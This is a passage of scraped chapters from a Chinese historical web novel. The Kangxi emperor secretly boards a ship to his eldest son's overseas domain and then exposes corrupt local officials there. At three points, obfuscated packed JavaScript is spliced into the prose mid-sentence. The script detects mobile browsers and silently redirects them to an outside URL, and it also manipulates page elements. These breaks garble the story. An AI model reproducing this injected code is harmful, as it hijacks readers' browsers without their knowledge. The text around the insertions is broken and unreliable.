吃饭时,饭桌上的吃饭很是诡异,两个小的,原是活泼到在宫中称霸的性子,这次吃饭时,吃一口饭抬头看看这边,再吃一口菜抬头看看那边,愣是一个字没敢说。 面对这种诡异的气氛,舒禾和胤褆该吃吃该喝喝,来之前他们就商量好了,抓紧时间吃饭,吃饭完就开溜。 两刻钟后,胤褆已经吃饱,抽空瞟了一眼桌下,看见舒禾摆出的手势,就知道她也吃饱了。 轻咳一声,正欲开口,就被康熙抢了先,“领地那边,可是纳了几个妾?” 胤褆站起身回话:“回皇阿玛……” “你闭嘴,让你福晋说。”康熙嫌弃地瞥一眼胤褆,冷声道。 见是冲着自己来的,舒禾也迟疑,果断站起回道:“回皇阿玛,领地那边未曾纳妾。” “以后可有规划?” “并无。” “百年之后,领地预备传于何人?” 胤褆不想舒禾说出惹怒康熙的话,故抢先一步道:“禀皇阿玛,儿子预备将领地留给哈拉!” “是你想,还是你福晋想?” “儿子想。” “你要我如何信你?” “不求您信,只求问心无愧。” “好、好一个问心无愧!梁九功,走吧。” 直到康熙带着梁九功离开,胤褆还 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偏胤禟是个没危机感,得到他的阻拦,也只起身换了个位置就继续道:“敢欺负我的人,英雄救美,提升大嫂对你的好感对不对?” “小九啊,没事少看点戏文,你这脑子都看傻了。” 胤誐拍拍胤禟的肩膀,一脸悲痛道:“九哥,一路走好。” 胤禟一脸不解地问道:“为什么这么说?” “胤禟!” 身后一声暴呵,胤禟吓得从椅子上窜起来,僵着身子转过头,结结巴巴地唤道:“皇皇皇、皇阿玛!儿子刚才什么都没说!” “跟我过来!”康熙黑着一张脸看着自己这个九儿子,一想到他刚才说的什么被按倒在地、什么大喝一声,就想迁怒。 目光刚转向胤褆,胤褆却十分自然地撇开了视线,根本就不和他对视,不对视,直接叫人有点不好,没有气势。 目光转向下一个人,胤褆福晋,嗯……这个不行,不能尽情骂。 再换,有了。 胤誐那个傻小子居然还在和胤禟对眼神,当即眼神一厉,沉声道:“胤誐,你也过来!” “啊——啊?我、皇阿玛,儿子没犯事啊!” “呵。”康熙冷笑一声,没再说什么,转身就走。 胤禟和胤誐对视一眼,两人可怜巴巴地垂下头,尽管很想就这么跑了,但没敢,最后还是乖乖跟了上去。 等他们两个走了后,胤褆抬手示意李阔把住门后方才道:“皇阿玛杀个回马枪这事,属实是让人没想到,也属实是够……” “咳咳!” 舒禾突然轻咳两声,胤褆顺势改口:“够明智。” 听到背后逐渐远去的脚步声,胤褆抽着嘴角,再不敢在这里吐槽,扶着舒禾火速开溜。 预备剩下的话都等回房了再说,他就不信了,他皇阿玛能不要脸到趴别人房门口偷听!。 出门时,没忍住瞪了一眼被派过去把门的李阔,这门把的毫无作用,要不是……他就也要被拎走和两个小的一起挨训了。 被瞪了,李阔很委屈,太上皇身边的梁九功走到他身边,直勾勾地盯着他,他哪敢有动静啊! 他们家亲王作为儿子,子怕父,他这个小太监害怕比他级别高的大太监,那不是很正常一件事嘛。 然而这些心里话,给李阔十个胆子他也不敢当着胤褆的面说,最多、最多当着他的面腹诽一下。 次日,住在从上往下数第二层房间的惠妃才知道康熙也跟着上了船,知道的刹那,手里面用来上妆的眉笔因着手一抖,就那么掉到了地上。 翠宛蹲下身捡起地上的眉笔,担忧地问道:“娘娘,您没事吧?” “没事,翠宛,你去,去打听打听太上皇住在哪里,上这艘船所为何事。” 知道住在哪里,她好精准避开,知道所为何事,她好心里面有数,以免后边有什么冲突喽。 “是。” 待到翠宛离开后,惠妃看着镜子里面化了一半妆的自己,长出一口气,拿起眉笔继续细细地画了起来。 其他的不说,一会出门,她的妆容一定要是最完美的。 65.海上日常 梳妆完毕,翠宛也回来了。 “娘娘,奴婢只打听到太上皇是突然出现在船上的,第一个发现太上皇的人是咱们直亲王,然后就是晚上召咱们直亲王一起用了晚膳,其他的什么没有打听到。” “嗯,知道了,去摆膳吧。” 没有打听到具体的情况惠妃也不急,只准备一会用过膳亲自去找舒禾问问。 她可是知道的,她那傻大儿什么都不会瞒舒禾,要想知道具体的,都不用去找胤褆,找舒禾就够了。 半个时辰后,到了上船前就约好的时间,惠妃带着人来到顶楼娱乐室,推开门就见其中已经坐了两个人,一个是舒禾,另一个光是看面容,她都能猜出来是谁。 就那和舒禾相似度高达八成的脸,说不是亲额娘都没人信。 在场,她的身份最高,是以一进门,房间内的两人就起身预备给她行礼,已经离开大清,惠太妃就不怎么耐烦受这些虚礼了,干脆一挥手免了两人的礼。 快走几步,来到桌前,一眼就看到了桌上的叶子牌,自顾自地坐下,向随同一起坐下的两人询问意见,“叶子牌可以三人玩也可以四人玩,你们两个是想三个还是四个?” “三个。” 苏晚清没说话,只默默点头表示赞同舒禾说的。 确定好了两人的意向后,惠太妃一摆手就示意身边随侍的翠蕊出去守住门口。 待到房门被从外边带上,几人也开始玩叶子牌,惠太妃才状似无意地开口抱怨道:“一大早上的就听下面的人来报,说是太上皇随船出海,这海上风浪大,也不知道当今怎么想的,居然让太上皇上了船。” “太上皇毕竟是太上皇,若真想干什么,皇上拦不住的。”舒禾客观评价道。 “也是,就是不知道太上皇随船出海是为了什么,总不会是为了出海看看外边那几块地吧?” 舒禾沉默几秒过后,点了点头,“据……说是想去看看打下来的领地。” 据谁说舒禾直接含糊了过去,但是在场的都不是傻子,用手指头想都知道是谁说的,一时间面色都难掩复杂。 讲真的,虽说皇位上已经换了人,但他这个人在,就是一颗定海神针,若只是为了看看领地就贸贸然出海,有点任性了。 就在几人神色复杂之际,远在千里之外的胤礽听了下面人的汇报,硬生生折断了手上的狼毫笔。 目光森然地盯着下面的人,一字一顿道:“你刚才说了什么,再说一遍。” “回、回皇上,太上皇并、并不在京郊的庄子上,梁、梁公公也……也不在……” 江鸿顶着胤礽要吃人的眼神把刚才的话又磕磕巴巴地说了一遍,最后没顶住,扑通一声直接跪了下去。 为了让胤礽的眼神不那么可怕,江鸿绞尽脑汁地为太上皇不在庄子里找借口。 “皇上,兴许、兴许是咱们的人和太上皇的人刚好错过去了呢,咱们的人去了,太上皇的人回来了,太上皇的人……的人去了,咱们的人又、又回来了。” “呵——这话说的,你自己信嘛!” 胤礽扔掉手里面断掉的毛笔,冷声道:“通知各地方……算了,让暗卫去找!不可声张,对外,记得做出太上皇还在紫禁城中,一切安好的假象。” “是。” “等等!”想到什么,胤礽出声叫住欲离开的江鸿,“让他们往海边找。” “是!” 同一时间,船上,打了一上午叶子牌的几人,你看看我、我看看你,没忍住,噗嗤一声,全都笑出了声。 按照规则,赢家往输家脸上贴纸条,一上午时间,有赢有输,现下她们几个脸上已经贴满了纸条,除了眼睛,其他地方被遮的严严实实。 “奴婢参见直亲王。” “嗯。” 胤褆随意应了一声就想抬手去开门,熟料翠蕊突然就挡在了门前。 看着挡在门口的翠蕊,胤褆不解皱眉,“你……” 小纸条就是翠蕊帮忙进去剪的,所以她熟知几人在房间干了什么,眼见着胤褆要进去,为了给惠太妃她们几个反应时间,也顾不得什么了,顶着胤褆冷厉的眼神就开始瞎编。 “直亲王,娘娘她、她……” 听到外边翠蕊行礼声以及拖延时间的声音,几人面色一变,惠太妃和苏晚清对视一眼,全部扯下是来不及了,会有胶印残留。 但弄干净一个人的脸还是有时间的,是以两人不约而同朝着舒禾脸上伸手,四只手,三下五除二就将脸上的纸条给扯了个干净。 在舒禾还懵圈之际,肩膀被拍了一下,然后就听惠太妃又快又急道:“你脸上现在干净了,赶紧将胤褆带走。” 一旁的苏晚清也附和道:“对对对,快点啊。” 被架着来到门口的舒禾回头看看背过身子不对着门,开始疯狂清理脸上纸条的两个额头,莫明幻视给自己舔毛的小猫。 “你一直支支吾吾的干什么!让开!” “亲王,您不能……” “嘎吱”一声,门被从里面打开 舒禾顶着两人同时看过来的目光走出去,反身关上房门,对着胤褆使了个眼神,示意他跟她走。 受到眼神示意后,胤褆不解地皱了皱眉,“额娘不是在里面,我给她请个安再走。” “额娘方才说了,不用请安。” 胤褆闻言更疑惑了,目光下意识在舒禾脸上扫视,企图看出点什么,还别说,真让他发现了点什么。 “既然额娘这样说了,我这个做儿子的自然也不能强制进去请安,索性就在这里请个安得了。” “让你走听不明白?” 听着里面传来熟悉的吼声,胤褆无奈一笑,随后歪头示意舒禾他们走。 往常两人走路都是并肩走,这次不知道是不是错觉,舒禾总觉得胤褆若有若无的挡在她身前,将其他人看向她的目光挡了个彻底。 因着娱乐室离两人住的地方并不算远,所以两人只走了一小段路,所以舒禾并不是很敢确定。 直到回到房间,胤褆眼带笑意的对她扬扬下巴,在她不解的目光下,抬手在左鼻翼处点点,她下意识跟着他的动作朝自己左鼻翼处模去。 摸到残存的胶后,舒禾就确定,刚才的感觉并不是自己的错觉,而是真的。 胤褆确确实实挡住了她的路,同时,也挡住了她丢脸的可能。 只是…… “你是不是刚才就看到这处胶印了?” “嗯,看见了,喏,热毛巾,擦擦。” 舒禾气呼呼地抬手接过胤褆递过来的热毛巾按在脸上,烦躁的继续开口:“为什么刚才不告诉我?反而让我顶着这胶印走了一路!” “你和额娘还有岳母排挤我。”胤褆答非所问道。 “什么?”舒禾一开始没反应过来,下意识地问了一句,反应过来后,立马反驳道:“我们没有排挤……” 胤褆打断道:“没有吗?若是没有,为什么你们三个玩叶子牌不叫我?嗯?” “不——不是,叶子牌它是女……” “哦,所以你不是排挤我,就是单纯……”胤褆想了一会,想出了个好的形容:“单纯鄙视作为男人的我。” “怎么就能扯到鄙视上呢?”舒禾不解,舒禾觉得自己快疯了,同时,也觉得胤褆有点过于无理取闹了。 像是看穿了舒禾一样,胤褆下一秒就将她所想的说了出来。 “你看、你看!这才说了两句,就开始觉得我无理取闹了!” “我没有……” 一顿乱扯,胤褆成功将自己从没理那方变成了有理那方,并在占据了有利局势后,一挥手,大方地表示,只要他们两个都不提,这事就算揭过去了。 现下,舒禾已经完全丧失了思考能力,在胤褆表示揭过去后,晕晕乎乎的就点了头。 晚上,亲热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14286014|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之际,白天失去的思考能力突然上线,舒禾抵着胤褆的额头将腻在她脖颈处的头推开 一脸严肃地说道:“我总觉得咱们两个白天的对话有点不对劲,来,我说一句,你说一句,就说白天的对话,咱们两个复盘一下。” 胤褆纯是占了不讲武德才把事情揭过去,现下自是不愿意旧事重提,一歪头避过舒禾的手,继续黏黏糊糊的蹭她脖颈。 “这个时间,说其他的,不合适。” “没什么不合适的,你说,说完了继……唔——” 胤褆抬头瞄准舒禾的唇瓣雯去,堵住了里面所有的未尽之言,也堵住了自己的心虚。 船下是翻滚的海浪,船上是熟睡的人们,时间在不知不觉中流逝,眨眼间时间就来到了三个月后。 大船靠岸,海港上是避让船梯的人群,船上是或着急或悠闲等着下船的人们。 “完淇,这里!”苏晚清远远看到一道身影,微微举起手臂招呼道。 突然从自家额娘嘴里面听到一个从来没有听过的名字,舒禾不由得一愣,往前走的脚步就那么顿住了,耐不住好奇心往后看,发现那个被自家额娘招呼的人居然是惠太妃。 被带的停下来的胤褆自然听到了方才苏晚清说的什么,也看到了过来的人是谁。 垂在腰侧的手轻戳舒禾的腰,小声提醒道:“舒禾,先走,有什么回去再想,顿在这太显眼了。” “好。” 舒禾眨眨眼,回过头,和胤褆一起下了船。 至于他们两个为什么不和老爷子一起下船,问就是逮不着人,遣人去问了,也说是各走各的,城主府集合。 完全没有办法的两人,只能吩咐提前上岸的人准备了足数的马车,以及千叮咛万嘱咐一定要让管理海港的人那些将画像上的人记住,这是贵客,遇到就是好好招待。 就这样,到了车队出发之际,不出意外的出意外了,车队里少了两个人。 一个是康熙,另一个就是梁九功,这搭配,一看就是自己溜的。 胤褆头疼地揉揉眉心,遣人去问惠太妃对此有什么看法,人很快就回来了,还带回来一个翠宛。 翠宛面无表情地看着地面,重复惠妃让她带的话,“娘娘说,八成是穷游以及调查民心的兴致又上来了,不用管,以及,消失的人肯定不止他们两个,一定还有其他人,因为太上皇不会让自己处于任何危险之中。” “呃……嗯,行,我知道了,你回去告诉额娘,若是觉得马车有什么不舒服,尽管派人来找我,随时可以调换。” “是,奴婢一定将话带到。” 胤褆一挥手,示意不远处等消息的人可以走了,完后一撩袍子就上了马车,马车内,舒禾刚捻起一块糕点就见胤褆进来了。 拿着糕点的手微顿,旋即就继续拿着糕点朝嘴里面送去,一块糕点吃完,方才问道:“不等了?” “明知故问,方才说话就在马车外边,爷不信你没听到。” 闻言,舒禾轻笑一声,“听是听到了,但不象征性问问,总感觉差点什么。” “啧,你说皇阿玛怎么就有这么个爱好?” “可能是早期欺上瞒下的官员太多,不敢轻信他们的话,也不想一辈子被蒙在鼓里,所以选择了自己亲身体察,得到最真实的反馈,现在嘛,习惯成自然,想改也改不了了。” “有可能。”胤褆点点头,赞同道。 “对了,方才我额娘叫的那个,真就是额娘的名字?” “昂,是,我知道这个。” “你知道?” “之前为了说服额娘离开大清,我就去查了陈年往事,从那些老仆空中知道了她的名字,后来事一多,就给忙忘了,要不是今天听到,再想起来还不知道什么时候呢。” 听了胤褆的解释,舒禾沉默半晌,突然道:“很好听的名字。” 就是在宫里面那么多年没人叫,可惜了。 66.‘真祖宗\’ 听了舒禾的称赞,胤褆一愣,旋即笑着点了点头,接下来的路程两人都没有再说话,就这么一路沉默着回了城主府。 城主府里一切如常,并没有因两人离开将近一年而发生什么变化。 舒禾收回看向四周的眼神,转而看向两位额娘和女儿,含笑问道:“额娘,你们对住的地方有什么偏好吗?” 有的话,接下来她也好安排院子。 惠太妃扭头和苏晚清对视一眼,两人同时摇了摇头。 “偏好什么的没有,将我们两个住的地方挨得近些就好,还有,哈拉也跟着我们两个住。” “可以。” 舒禾带着三人先回了她住的正院,将她们三个安置到待客厅,又安排了吃食,方才出门去准备晚上将要住的院落。 书房,舒禾垂眸看着当时特意留下的城主府地图,手指在上面轻轻划过,最后落到离她那正院不远不近的两个院落。 这两个院落名为春华与清风,犹记得,春华院里面种满了四季常绿的树木,很有春天的感觉,清风院里面则是种满了风一吹就会哗哗作响的植物…… 思忖良久,舒禾方才拍板定下这两个院子,吩咐了人打扫后,转身回到待客厅。 向完淇和苏晚清讲了一下两个院落的大致特点后,顿了下接着道:“若是住一顿时间后觉得不舒服,还可以换,再或者,您两位可以在府里面随便转转,相中那处院落,直接换也是可以的。” 苏晚清点了点头,想到什么,问道:“没有哈拉的吗?” “哈拉的有,不过还在筹建中。” 听到还在筹建中,苏晚清偏头和完淇对视一眼,两人眼中满是疑惑。 看出了两人的疑惑,舒禾主动解疑道:“我和保清商量,等哈拉及笄后,就试着让她开始接触领地里面的事务,同时也会拨给她一部分人手,到时候一处院落肯定住不下,索性就在外又修了一座城主府。” 外边正在修的那座城主府是现在这个城主府的两倍大,舒禾和胤褆商量着,等哈拉以后就任后,那处就作为哈拉的城主府,他们这里则是改名叫亲王府。 但就任也不是他们说就任就就任的,哈拉至少应该有相匹配的能力。 现下哈拉来到这里,未免底下的人不服,他们肯定是要现在就开始培养哈拉的,在此过程中,领地内不可避免会出现两种声音。 一片领地不能同时有两个明面上主事人,容易造成领地内的分化,所以,他们两个的选择是让哈拉顶上去,他们两个在幕后做事,待到哈拉能独当一面后,就撒开手任由她去干、去闯。 至于退休后的他们两个,一个继续自己的练军大业、一个继续自己的赚钱大业,偶尔去其他国家出个公差,那生活,光是想想都美好。 这边舒禾安置女眷,另一边,胤褆负责安置随行的官员和两个弟弟,吸取上次的经验,这次领地里面总算是有好的客栈了。 是以,胤褆直接领着人就去了客栈。 客栈大堂,胤禟环视一圈,不满地撇着嘴道,“大哥,我们两个远道而来,你就让我们住客栈啊?” “爱住不住。” 胤褆半点不打算惯着胤禟,撂下四个字就走了。 看着胤褆离开的背影,胤禟气的想砸东西,环视一圈,刚想挑个好砸的砸了听响,就被一旁的胤誐给死死抱住了胳膊。 胤禟挣了挣,没挣开,不得不停下动作轻斥道:“胤誐,你干嘛呢?放开我!” “九哥,你看墙上写的东西。”深知胤禟各种小动作后要干什么的胤誐根本就不敢放开,干脆就着这么个姿势提醒道。 得了提醒,胤禟目光朝墙上看去,在看到墙上写的字后,眼睛刷一下就瞪大了。 “砸一陪百,至少万两起,这店特么是黑店吧!” 胤褆走到一半想到一件事,返回来准备提点胤禟两句,熟料刚走到门口就听到胤禟搁那说这店是黑店,当即翻了个白眼转身就走。 他家福晋开的店会是黑店?呵,不识货的小子。 回了府,胤褆问了一下事关额娘和岳母的安排,确定已经被安排过了,就直接回了正院。 说来也是巧,完淇和苏晚清前脚带着哈拉走,他后脚就回来了,一群人还恰好没遇见。 听着下人的指示一路来到待客厅,目光在茶具上扫过,随口问道:“额娘她们刚走?” “嗯,你但凡早回来一刻钟就能碰到。” “都在府里面住着,想见什么时候都能见。”胤褆不甚在意地摆摆手。 闻言,舒禾点点头,转而问起了胤禟他们两个,“九弟和十弟他们,你给安置到客栈了?” “嗯,安置好了,就是胤禟这小子,居然说你开的店是黑店。” “黑店?”舒禾茫然地眨眨眼,搞不明白她那家怎么就算黑店了。 要说价钱,她的客栈比旁的客栈低上至少一成的价钱;要说环境,客栈挑的都是环境僻静点地方,保证就算是白天休息也不会吵闹。 所以被胤禟说黑店,她是真搞不懂了。 “要我说,你就是把价钱定低了,就该定高点,摆出后边有人的姿态,决计没人敢说那家店是黑店。” “……事实上,这是我第一次听人说它是黑店,这消息还是你带回来的。” 说这话的还是自家人,就,有点恍惚吧。 胤褆也后知后觉自己说的有些前言不搭后语了,抬手揉揉鼻尖,略微有些尴尬地撇过头。 “呃、咳咳,那啥,回头我去教训胤禟那小子一顿,正在就不说这个了,说……就说哈拉,没错,说哈拉。” “你尴尬,也别把事往小孩身上扯好不好?” “好好好,不扯、不扯,咱们说其他……” “爷、爷!大事不好了!” 胤褆皱着眉头看向跌跌撞撞跑进来的李阔,沉着声音斥道:“现下这样,成何体统,把舌头捋直了再说话!” “是,”李阔缓了一会,待到呼吸平缓了一些后,就迫不及待地开了口,“负责铁轨修剪工程的江大人,被人用绳子捆了堵住嘴扔到了城主府门口,除此之外,来人还送来了一封信挑衅。” 胤褆扭头和舒禾对视一眼,朝李阔伸出手,“信拿来。” “爷,给您。” 胤褆拆开信封,倒出里面的信纸,看着信纸上不多但够犀利的话,目光逐渐变得生无可恋,他这变化,看的舒禾好奇极了那纸上写了什么。 “看完了吗?看完拿来我看看。” “给。” 看后,舒禾总算是知道胤褆脸色会变得那么快了,只能说,当了那么多年皇帝,这骂人的功底不是一般深。 李阔看着两个主子脸色都变了,心里面也不由犯起了嘀咕。 这信上写的东西,就那么厉害?能让两个主子都变了脸色,难不成是有外敌入侵?可也不见两个主子说打活着说撤…… “李阔,去吩咐府兵,将门口绑着那个,给扔到牢里面,顺便派人查查,他在位期间,一共贪了多少银子。” “啊?哦哦,奴才这就去。” 胤褆抬手揉揉眉心,余光瞥见舒禾憋笑的脸,幽幽地叹了一口气,“想笑就笑吧,别憋着了,对身体不好。” “嗤——哈哈哈哈,之前一直听你说皇阿玛骂人很厉害,我还没有什么实感,这些可算是见识到了,哈哈哈。” 胤褆身体微微后躺,抬头看着屋顶,语气不解,“他骂人什么的我倒是无所谓,毕竟是已经习惯的事,但我想不通,他是怎么发现的? 之前我也去巡视过,却是半点端倪都没有看出来,唉~” “皇阿玛的人生阅历多,厉害是正常的,我相信,等你到那个年纪,一定比现在的皇阿玛更厉害。” 舒禾说着,抬手覆上胤褆放在扶手的手。 手上突然一暖,胤褆坐直身子,朝舒禾看去,脸上扬起灿烂的笑,“嗯!为了这份信任,我以后也一定会比皇阿玛厉害!” 两人相视而笑,周身萦绕着淡淡的温馨气氛。 回到领地不过两天,门口就被扔了四、五个人,这些人有受贿被发现的、有压迫普通百姓的……但无一例外,这些人在之前的大检查中,都好运的躲了过去。 胤褆熟练的吩咐人将门口被绑的人送到牢里,随后转身对着舒禾耸耸肩,笑着调侃道:“之前说皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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随口问了句胤褆有没有回来,得到否定的回答后,舒禾带着人往春华院去了。 此刻,春华院内,苏晚清刚送走完淇和哈拉叫人做了膳食,膳食刚上桌,恰巧就听外边人来报舒禾来了。 放下刚拿起的筷子,眼角眉梢带上一抹笑意,佯装恼怒地瞪了一眼进屋的舒禾,嗔道:“特意挑着这个时间点来,这是成心不想让我用膳啊。” “哪有,明明算准了额娘你一个人吃饭孤单,特意陪你来了。”舒禾脸上带笑,凑过去卖乖道。 摸摸凑过来的舒禾,苏晚清脸上装出来的怒色瞬间破功,“春晓,再上一副碗筷,可不能让咱们家孝顺的小舒禾饿着喽。” “哎呀额娘,我都这么大了,名字不能再加小了,直接叫名字就好了。” “哪里大了,你出生时和我差着多少,现在还差着,无论你长到多大,在我眼里没差。” 听闻苏晚清这么说,舒禾不吱声了。 春晓很快就将碗筷送了上来,见两人都不出声,知道是自己在,母女两人不好说体己话,便自觉地走到外边将门带上。 门关上后的一刻钟内,两人都没有出声,直到舒禾吃完苏晚清夹到她碗里面的饭菜,趁着苏晚清给她夹新的,突然道:“今天保清和我说,要给阿玛安排一个职位,我同意了。” 苏晚清盛汤的手微顿,“安排就安排他,若是一到这里就成了个闲人,你阿玛他该心生怨怼了。” 舒禾小心翼翼地觑着苏晚清的神色,斟酌着句词开口:“额娘,这两天阿玛未曾进府,陪在带过来的那些小妾身边,你有没有……” “想他?”苏晚清将盛好汤的碗放到舒禾面前,嗤笑着道:“他也配。” “啊——啊?” “惊讶什么,我跟你阿玛本来就是表面夫妻那么点情份,之前在大清,为了苏家,我捏着鼻子应付他,现下到了这里,该是他捏着鼻子看你脸色,他来不来这里已经无所谓了。” 说完,见舒禾完全一副被惊呆了的表情,苏晚清轻笑一声,抬手捏捏她的脸,好笑道:“额娘的好舒禾,该不会觉得,成婚之前教你那些,是额娘在纸上谈兵吧?” 成婚之前教的那些?舒禾脑海中自动回想,感情上,足够清醒,时刻谨记自己想要的东西…… 67.扮乞丐? 见舒禾呆愣着不说话,苏晚清无奈地摇摇头,端起汤碗喝了一口汤,眼神清明。 说实话,在这时代,女子本身若想不受伤还活的挺好,除了要有好的家世,还要保持感情上的清醒。 这是她在闺中就悟出的道理,当初舒禾即将大婚时,她也是这样教的舒禾,只是她没想到舒禾会对大阿哥对真感情,也没想到大阿哥也对舒禾动了真感情。 这种结果,她说不上好还是不好,毕竟人心易变,但至少现在看着是挺好的。 吃完饭,又待了一会,舒禾就顺势提出了告辞。 路上,看着天上如玉盘般的圆月,舒禾眼里面划过一丝茫然,在今天之前,她一直以为她额娘和她阿玛之间是存在那么一点点感情的,因为两人平时在她面前,所表现的就是那样。 万万没想到事实会是这样,就有一种,孩子小时,为了给孩子一个好的家庭环境,父母双方彼此隐忍。 等到孩子大了,母亲一把揭开遮羞布,把一切都赤裸裸地展现出来,说你之前看见的都是假的…… 一时间舒禾只感觉脑子里面嗡嗡的,抬手按按太阳穴,对着一旁伸出手,扶住她的却不是随侍在一旁的侍女。 “你什么时候过来的?” 胤褆扶了只手扶住舒禾的手,用方才扶住她那只手揽住她肩膀,轻声道:“我过来很久了,只是你一边走路一边出神没有注意到而已。” “是么,我方才可能确实有点神情恍惚。”舒禾晃晃头说道。 “发生了什么事?” “没什么,回吧。”舒禾摇摇头,不欲在这个问题上和胤褆多说,父母辈的事,她这个当女儿的说多了也不好。 见舒禾没什么想说的欲望,胤褆也不再追问,大事他不用追问舒禾就会告诉他和他商量,如今这不想说的,左不过是一些小事。 相携回到正院,一番折腾外加洗漱过后,两人成功歇下。 翌日,大早上的还没到往常起床的点,胤褆就听外边乱哄哄的,皱着眉头睁开眼。 低头往怀里面看去,发现舒禾正皱着眉头,眼皮一跳一跳的,赶忙低头在她脸上亲了一口,安抚道:“睡吧,不用起来,我出去看看是怎么回事。” “嗯。” 听着低到几乎不可闻的应声,胤褆起身的动作一顿,随后利落地翻身下床,仅着睡衣拉开房门,拧着眉看向外边嘀嘀咕咕说着什么的几人,脸色阴沉。 “大早上的就在这嘀咕,是想死?” “参见爷,爷吉祥,奴才们大早上在这嘀咕,是有事拿不准。” “什么事。” “门口有两个衣衫褴褛的人,一个自称是您阿玛,一个自称是另一个的贴身太监,因他们言之凿凿的样子,门口守卫的人拿不准说的真假,不敢贸然赶走也不敢让他们进府,一层层通报到这里,欲请您定夺。 但我们不清楚您是否起身,所以犹豫不前……” 听了这几人说的,胤褆眼皮子一跳,莫明有种大祸临头的感觉。 “不敢贸然赶走,也不敢请进来,就那么晾着?” 几人对视一眼,领头的那个低声回道:“回爷的话,是。” 得,这下子不是感觉了,而是确定他就要大祸临头了,胤褆抬手一拍额头,快声道:“备水,衣服,叫李阔,先将门口的那两个人请进来,带到客房,给他们两个准备热水,衣物,完后带到待客厅。” 方才这些人说来人衣衫褴褛,胤褆可是听到了,想到什么,再次叮嘱道:“若是不想去待客厅,就由着他,只需给我回禀一声就可。” 说完,见这些人愣着不动作,顾及着房里面还在睡觉的舒禾,轻声斥道:“还不快去!” “作什么大早上醒来就发那么大的火?” 听到身后传来的声音,胤褆一脸愧疚地回头,“吵醒你了,不是什么大事,你回去接着……” “不了,睡不着,你还是先跟我说说发生了什么吧。” 接下来,就是胤褆两分钟的个人秀时间,说完,下人也带着厨房内早就备好的热水来了。 舒禾一边洗漱一边总结道:“意思就是,皇阿玛被拦在门外,多长时间不明,你害怕他骂你。” “骂倒是不怕,毕竟都是已经听习惯的事,就是害怕他变成衣衫褴褛的模样是因为领地里的人,如果真是那样,我这好日子算是到头了。” 别的不说,他皇阿玛肯定会把他拎到身边教育一段时间,天知道他是真的不想温习被迫学习那段时光。 舒禾并不知道胤褆心里面的想法,听他说不害怕被骂,就武断的下了判断,“既然不怕骂,那就没什么好怕的了,毕竟皇阿玛他又不会亲自动手。” “皇阿玛他……”胤褆张了张嘴,到底是没说皇阿玛不是不动手,而是懒得动手,若是真动起手来,凭着他不敢还手这一点,能把他打得躺在床上修养半个月。 洗漱过后,两人就急匆匆地往待客厅走去,赶着去挨那一顿不知道会不会有的骂。 路上,胤褆还在劝舒禾,“舒禾,你先回去吧,挨骂这事,一个人就好,两个人就亏了。” “谁告诉你我是跟着你去挨骂的了?” “那你这是?” “我去问皇阿玛是否需要在此住下,想住在哪里,住多久,问清楚了也好尽早,毕竟他的事马虎不得。” “得,是爷自作多情了。” 舒禾小声嘀咕道:“也不算自作多情。” 毕竟她非要跟着去,也是想在她在,皇阿玛不好骂太过分。 方才舒禾说话的声音过小,胤褆并没有听清她说了什么,不得不再问一遍,“你方才说什么?” “没什么,待客厅到了,该进去了。”舒禾朝着前方扬扬下巴,示意胤褆好好看路,别看她了。 普一踏进门,舒禾就感觉耳边有什么东西飞了过去,然后不过须臾,就听身后传来了“砰!”的一声。 听那声音,似乎是陶瓷碎裂的声音,目光不着痕迹地从桌上扫过,果不其然,主座那的茶杯已经没了一个。 在舒禾偷瞄桌子的空档,胤褆偏头往她那边看了一眼,确定飞出去的茶杯没伤到她后,方才一撩袍子跪下。 “儿子携福晋参见皇阿玛,给皇阿玛请安。” “儿媳给皇阿玛请安。” 看着跪在下方的大儿子和大儿媳,康熙缓缓收回刚才砸东西的手,内心有一丝不易觉察的后悔,若是知道大儿媳跟着一起来了,他就不扔那个茶杯了。 康熙轻咳一声,给了梁九功一个眼神,梁九功会意,快走几步,走到舒禾面前,弯腰小声道:“大福晋,万岁爷跟直亲王有话说,您看,您先跟着奴才去旁边的偏厅里面等着行吗?” “行。” 话都说到这份上了,舒禾自然没有说不行的道理,给了胤褆一个眼神后,就跟着梁九功走了。 待到梁九功带着人离开后,康熙看着在下面跪的笔直的胤褆,愤然起身,指着他的鼻子骂道:“这就是当初你跟我炫耀的领地,这就是你说的百姓生活比大清好的领地! 那些底层官员都腐败到什么地步了,放到大清都够砍几百次了,你还放任他们继续在那个位子上,继续鱼肉百姓,你这个城主,就是这么当的嘛!” “水至清则无鱼,这不是您说的吗?” “我说那话,是让你应用到这的吗?啊?那些官员如此,就当真没有你的失察之责?” 胤褆挺直腰板,抬头目光直视康熙,淡淡的叙述道:“这些,都是当初我从大清带过来的官员,哦,就是您不要的那一批,至于您说的清理,我如何没有清理,两年前,行刑台下血流成河,不知道杀了多少官员。 剩下的官员中有我没揪出来的,还有新提拔上去在那个位置待久了滋生野心的,皇阿玛,人的贪欲是遏制不住的。” “呵,”康熙冷笑出声,从袖中掏出一张纸甩向胤褆,“你没揪出来的,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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胤褆这么一说,舒禾的好奇心算是彻底被勾起来了,放下手里面的地契,走到胤褆身边坐下,胳膊肘撑着桌子,眼睛直勾勾地盯着胤褆,摆好了听重大秘密的架势后,舒禾几乎是迫不及待的就点了头。 